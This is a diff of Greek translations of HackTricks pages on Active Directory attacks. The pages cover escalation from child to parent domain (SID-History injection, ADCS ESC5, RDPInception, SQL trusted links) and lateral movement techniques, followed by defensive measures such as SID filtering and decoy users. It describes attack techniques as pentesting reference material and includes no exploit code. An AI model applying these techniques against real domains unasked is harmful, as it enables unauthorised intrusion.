### Κλιμάκωση Δικαιωμάτων Δάσους από Παιδί σε Γονέα ### Κλιμάκωση Δικαιωμάτων Δάσους από Παιδί σε Γονέα
``` ```
@ -574,7 +574,7 @@ WhenChanged : 2/19/2021 1:28:00 PM
#### SID-History Injection #### SID-History Injection
Αναβαθμίστε ως Enterprise admin στο child/parent domain εκμεταλλευόμενοι την εμπιστοσύνη με SID-History injection: Αναβαθμίστε ως Enterprise admin στο child/parent domain εκμεταλλευόμενοι την εμπιστοσύνη με την ένεση SID-History:
{{#ref}} {{#ref}}
sid-history-injection.md sid-history-injection.md
@ -604,9 +604,9 @@ sid-history-injection.md
**From DA to EA with ADCS ESC5** **From DA to EA with ADCS ESC5**
Η ευπάθεια ADCS ESC5 στοχεύει τον έλεγχο των αντικειμένων Public Key Infrastructure (PKI) για τη δημιουργία ενός προτύπου πιστοποιητικού που επιτρέπει την αυθεντικοποίηση ως οποιοσδήποτε χρήστης εντός του δάσους. Καθώς τα αντικείμενα PKI βρίσκονται στην Configuration NC, η εκμετάλλευση ενός writable child DC επιτρέπει την εκτέλεση επιθέσεων ESC5. Η ευπάθεια ADCS ESC5 στοχεύει τον έλεγχο των αντικειμένων Public Key Infrastructure (PKI) για τη δημιουργία ενός προτύπου πιστοποιητικού που επιτρέπει την αυθεντικοποίηση ως οποιοσδήποτε χρήστης εντός του δάσους. Καθώς τα αντικείμενα PKI βρίσκονται στην Configuration NC, η παραβίαση ενός writable child DC επιτρέπει την εκτέλεση επιθέσεων ESC5.
Περισσότερες λεπτομέρειες σχετικά με αυτό μπορείτε να διαβάσετε στο [From DA to EA with ESC5](https://posts.specterops.io/from-da-to-ea-with-esc5-f9f045aa105c). Σε σενάρια που λείπει το ADCS, ο επιτιθέμενος έχει τη δυνατότητα να ρυθμίσει τα απαραίτητα στοιχεία, όπως συζητείται στο [Escalating from Child Domain Admins to Enterprise Admins](https://www.pkisolutions.com/escalating-from-child-domains-admins-to-enterprise-admins-in-5-minutes-by-abusing-ad-cs-a-follow-up/). Περισσότερες λεπτομέρειες σχετικά με αυτό μπορούν να διαβαστούν στο [From DA to EA with ESC5](https://posts.specterops.io/from-da-to-ea-with-esc5-f9f045aa105c). Σε σενάρια που λείπει το ADCS, ο επιτιθέμενος έχει τη δυνατότητα να ρυθμίσει τα απαραίτητα στοιχεία, όπως συζητείται στο [Escalating from Child Domain Admins to Enterprise Admins](https://www.pkisolutions.com/escalating-from-child-domains-admins-to-enterprise-admins-in-5-minutes-by-abusing-ad-cs-a-follow-up/).
### External Forest Domain - One-Way (Inbound) or bidirectional ### External Forest Domain - One-Way (Inbound) or bidirectional
```powershell ```powershell
@ -648,13 +648,13 @@ external-forest-domain-one-way-outbound.md
Ένας άλλος τρόπος για να παραβιάσετε το εμπιστευμένο domain είναι να βρείτε έναν [**SQL trusted link**](abusing-ad-mssql.md#mssql-trusted-links) που έχει δημιουργηθεί στην **αντίθετη κατεύθυνση** της εμπιστοσύνης του domain (το οποίο δεν είναι πολύ συνηθισμένο). Ένας άλλος τρόπος για να παραβιάσετε το εμπιστευμένο domain είναι να βρείτε έναν [**SQL trusted link**](abusing-ad-mssql.md#mssql-trusted-links) που έχει δημιουργηθεί στην **αντίθετη κατεύθυνση** της εμπιστοσύνης του domain (το οποίο δεν είναι πολύ συνηθισμένο).
Ένας άλλος τρόπος για να παραβιάσετε το εμπιστευμένο domain είναι να περιμένετε σε μια μηχανή όπου ένας **χρήστης από το εμπιστευμένο domain μπορεί να έχει πρόσβαση** για να συνδεθεί μέσω **RDP**. Στη συνέχεια, ο επιτιθέμενος θα μπορούσε να εισάγει κώδικα στη διαδικασία συνεδρίας RDP και να **προσεγγίσει το αρχικό domain του θύματος** από εκεί.\ Ένας άλλος τρόπος για να παραβιάσετε το εμπιστευμένο domain είναι να περιμένετε σε μια μηχανή όπου ένας **χρήστης από το εμπιστευμένο domain μπορεί να έχει πρόσβαση** για να συνδεθεί μέσω **RDP**. Στη συνέχεια, ο επιτιθέμενος θα μπορούσε να εισάγει κώδικα στη διαδικασία συνεδρίας RDP και να **προσεγγίσει το αρχικό domain του θύματος** από εκεί.\
Επιπλέον, αν το **θύμα έχει τοποθετήσει τον σκληρό του δίσκο**, από τη διαδικασία της **συνεδρίας RDP** ο επιτιθέμενος θα μπορούσε να αποθηκεύσει **backdoors** στον **φάκελο εκκίνησης του σκληρού δίσκου**. Αυτή η τεχνική ονομάζεται **RDPInception.** Επιπλέον, αν ο **θύτης έχει προσαρτήσει τον σκληρό του δίσκο**, από τη διαδικασία της **συνεδρίας RDP** ο επιτιθέμενος θα μπορούσε να αποθηκεύσει **backdoors** στον **φάκελο εκκίνησης του σκληρού δίσκου**. Αυτή η τεχνική ονομάζεται **RDPInception.**
{{#ref}} {{#ref}}
rdp-sessions-abuse.md rdp-sessions-abuse.md
{{#endref}} {{#endref}}
### Μείωση κατάχρησης εμπιστοσύνης domain ### Μείωση κακοποίησης εμπιστοσύνης domain
### **Φιλτράρισμα SID:** ### **Φιλτράρισμα SID:**
@ -663,7 +663,7 @@ rdp-sessions-abuse.md
### **Επιλεκτική Αυθεντικοποίηση:** ### **Επιλεκτική Αυθεντικοποίηση:**
- Για τις διασυνδέσεις μεταξύ δασών, η χρήση Επιλεκτικής Αυθεντικοποίησης διασφαλίζει ότι οι χρήστες από τα δύο δάση δεν αυθεντικοποιούνται αυτόματα. Αντίθετα, απαιτούνται ρητές άδειες για τους χρήστες ώστε να έχουν πρόσβαση σε domains και διακομιστές εντός του εμπιστευμένου domain ή δάσους. - Για τις διασυνδέσεις μεταξύ δασών, η χρήση Επιλεκτικής Αυθεντικοποίησης διασφαλίζει ότι οι χρήστες από τα δύο δάση δεν αυθεντικοποιούνται αυτόματα. Αντίθετα, απαιτούνται ρητές άδειες για τους χρήστες ώστε να έχουν πρόσβαση σε domains και servers εντός του εμπιστευόμενου domain ή δάσους.
- Είναι σημαντικό να σημειωθεί ότι αυτά τα μέτρα δεν προστατεύουν από την εκμετάλλευση του εγγράψιμου Configuration Naming Context (NC) ή επιθέσεις στον λογαριασμό εμπιστοσύνης. - Είναι σημαντικό να σημειωθεί ότι αυτά τα μέτρα δεν προστατεύουν από την εκμετάλλευση του εγγράψιμου Configuration Naming Context (NC) ή επιθέσεις στον λογαριασμό εμπιστοσύνης.
[**Περισσότερες πληροφορίες σχετικά με τις εμπιστοσύνες domain στο ired.team.**](https://ired.team/offensive-security-experiments/active-directory-kerberos-abuse/child-domain-da-to-ea-in-parent-domain) [**Περισσότερες πληροφορίες σχετικά με τις εμπιστοσύνες domain στο ired.team.**](https://ired.team/offensive-security-experiments/active-directory-kerberos-abuse/child-domain-da-to-ea-in-parent-domain)
@ -671,22 +671,22 @@ rdp-sessions-abuse.md
## AD -> Azure & Azure -> AD ## AD -> Azure & Azure -> AD
{{#ref}} {{#ref}}
https://cloud.hacktricks.xyz/pentesting-cloud/azure-security/az-lateral-movements/azure-ad-connect-hybrid-identity https://cloud.hacktricks.wiki/en/pentesting-cloud/azure-security/az-lateral-movement-cloud-on-prem/azure-ad-connect-hybrid-identity/index.html
{{#endref}} {{#endref}}
## Ορισμένες Γενικές Άμυνες ## Ορισμένες Γενικές Άμυνες
[**Μάθετε περισσότερα σχετικά με το πώς να προστατεύσετε τα διαπιστευτήρια εδώ.**](../stealing-credentials/credentials-protections.md) [**Μάθετε περισσότερα σχετικά με το πώς να προστατεύσετε τα credentials εδώ.**](../stealing-credentials/credentials-protections.md)
### **Αμυντικά Μέτρα για την Προστασία Διαπιστευτηρίων** ### **Αμυντικά Μέτρα για την Προστασία Credentials**
- **Περιορισμοί Διαχειριστών Domain**: Συνιστάται οι Διαχειριστές Domain να επιτρέπεται να συνδέονται μόνο σε Domain Controllers, αποφεύγοντας τη χρήση τους σε άλλους υπολογιστές. - **Περιορισμοί Domain Admins**: Συνιστάται οι Domain Admins να επιτρέπεται να συνδέονται μόνο σε Domain Controllers, αποφεύγοντας τη χρήση τους σε άλλους υπολογιστές.
- **Privileges Λογαριασμού Υπηρεσίας**: Οι υπηρεσίες δεν θα πρέπει να εκτελούνται με privileges Διαχειριστή Domain (DA) για να διατηρείται η ασφάλεια. - **Privileges Λογαριασμού Υπηρεσίας**: Οι υπηρεσίες δεν θα πρέπει να εκτελούνται με privileges Domain Admin (DA) για να διατηρείται η ασφάλεια.
- **Περιορισμός Χρονικής Διάρκειας Privilege**: Για εργασίες που απαιτούν DA privileges, η διάρκεια τους θα πρέπει να περιορίζεται. Αυτό μπορεί να επιτευχθεί με: `Add-ADGroupMember -Identity Domain Admins -Members newDA -MemberTimeToLive (New-TimeSpan -Minutes 20)` - **Περιορισμός Χρονικής Διάρκειας Privilege**: Για εργασίες που απαιτούν DA privileges, η διάρκεια τους θα πρέπει να περιορίζεται. Αυτό μπορεί να επιτευχθεί με: `Add-ADGroupMember -Identity Domain Admins -Members newDA -MemberTimeToLive (New-TimeSpan -Minutes 20)`
### **Εφαρμογή Τεχνικών Απάτης** ### **Εφαρμογή Τεχνικών Απάτης**
- Η εφαρμογή απάτης περιλαμβάνει τη δημιουργία παγίδων, όπως χρήστες ή υπολογιστές δόλωμα, με χαρακτηριστικά όπως κωδικοί που δεν λήγουν ή είναι επισημασμένοι ως Εμπιστευμένοι για Αντιπροσώπευση. Μια λεπτομερής προσέγγιση περιλαμβάνει τη δημιουργία χρηστών με συγκεκριμένα δικαιώματα ή την προσθήκη τους σε ομάδες υψηλών privileges. - Η εφαρμογή απάτης περιλαμβάνει τη δημιουργία παγίδων, όπως χρήστες ή υπολογιστές δόλωμα, με χαρακτηριστικά όπως κωδικοί που δεν λήγουν ή είναι επισημασμένοι ως Trusted for Delegation. Μια λεπτομερής προσέγγιση περιλαμβάνει τη δημιουργία χρηστών με συγκεκριμένα δικαιώματα ή την προσθήκη τους σε ομάδες υψηλών privileges.
- Ένα πρακτικό παράδειγμα περιλαμβάνει τη χρήση εργαλείων όπως: `Create-DecoyUser -UserFirstName user -UserLastName manager-uncommon -Password Pass@123 | DeployUserDeception -UserFlag PasswordNeverExpires -GUID d07da11f-8a3d-42b6-b0aa-76c962be719a -Verbose` - Ένα πρακτικό παράδειγμα περιλαμβάνει τη χρήση εργαλείων όπως: `Create-DecoyUser -UserFirstName user -UserLastName manager-uncommon -Password Pass@123 | DeployUserDeception -UserFlag PasswordNeverExpires -GUID d07da11f-8a3d-42b6-b0aa-76c962be719a -Verbose`
- Περισσότερα σχετικά με την ανάπτυξη τεχνικών απάτης μπορείτε να βρείτε στο [Deploy-Deception στο GitHub](https://github.com/samratashok/Deploy-Deception). - Περισσότερα σχετικά με την ανάπτυξη τεχνικών απάτης μπορείτε να βρείτε στο [Deploy-Deception στο GitHub](https://github.com/samratashok/Deploy-Deception).

View File

@ -2,7 +2,7 @@
{{#include ../../banners/hacktricks-training.md}} {{#include ../../banners/hacktricks-training.md}}
Υπάρχουν διάφοροι τρόποι για να εκτελέσετε εντολές σε εξωτερικά συστήματα, εδώ μπορείτε να βρείτε τις εξηγήσεις για το πώς λειτουργούν οι κύριες τεχνικές πλευρικής κίνησης των Windows: Υπάρχουν διάφοροι τρόποι για να εκτελέσετε εντολές σε εξωτερικά συστήματα, εδώ μπορείτε να βρείτε τις εξηγήσεις για το πώς λειτουργούν οι κύριες τεχνικές κίνησης πλάγιας κίνησης στα Windows:
- [**PsExec**](psexec-and-winexec.md) - [**PsExec**](psexec-and-winexec.md)
- [**SmbExec**](smbexec.md) - [**SmbExec**](smbexec.md)
@ -10,8 +10,8 @@
- [**AtExec / SchtasksExec**](atexec.md) - [**AtExec / SchtasksExec**](atexec.md)
- [**WinRM**](winrm.md) - [**WinRM**](winrm.md)
- [**DCOM Exec**](dcom-exec.md) - [**DCOM Exec**](dcom-exec.md)
- [**Pass the cookie**](https://cloud.hacktricks.xyz/pentesting-cloud/azure-security/az-lateral-movements/az-pass-the-cookie) (cloud) - [**Pass the cookie**](https://cloud.hacktricks.wiki/en/pentesting-cloud/azure-security/az-lateral-movement-cloud-on-prem/az-pass-the-cookie.html) (cloud)
- [**Pass the PRT**](https://cloud.hacktricks.xyz/pentesting-cloud/azure-security/az-lateral-movements/pass-the-prt) (cloud) - [**Pass the PRT**](https://cloud.hacktricks.wiki/en/pentesting-cloud/azure-security/az-lateral-movement-cloud-on-prem/pass-the-prt.html) (cloud)
- [**Pass the AzureAD Certificate**](https://cloud.hacktricks.xyz/pentesting-cloud/azure-security/az-lateral-movements/az-pass-the-certificate) (cloud) - [**Pass the AzureAD Certificate**](https://cloud.hacktricks.wiki/en/pentesting-cloud/azure-security/az-lateral-movement-cloud-on-prem/az-pass-the-certificate.html) (cloud)
{{#include ../../banners/hacktricks-training.md}} {{#include ../../banners/hacktricks-training.md}}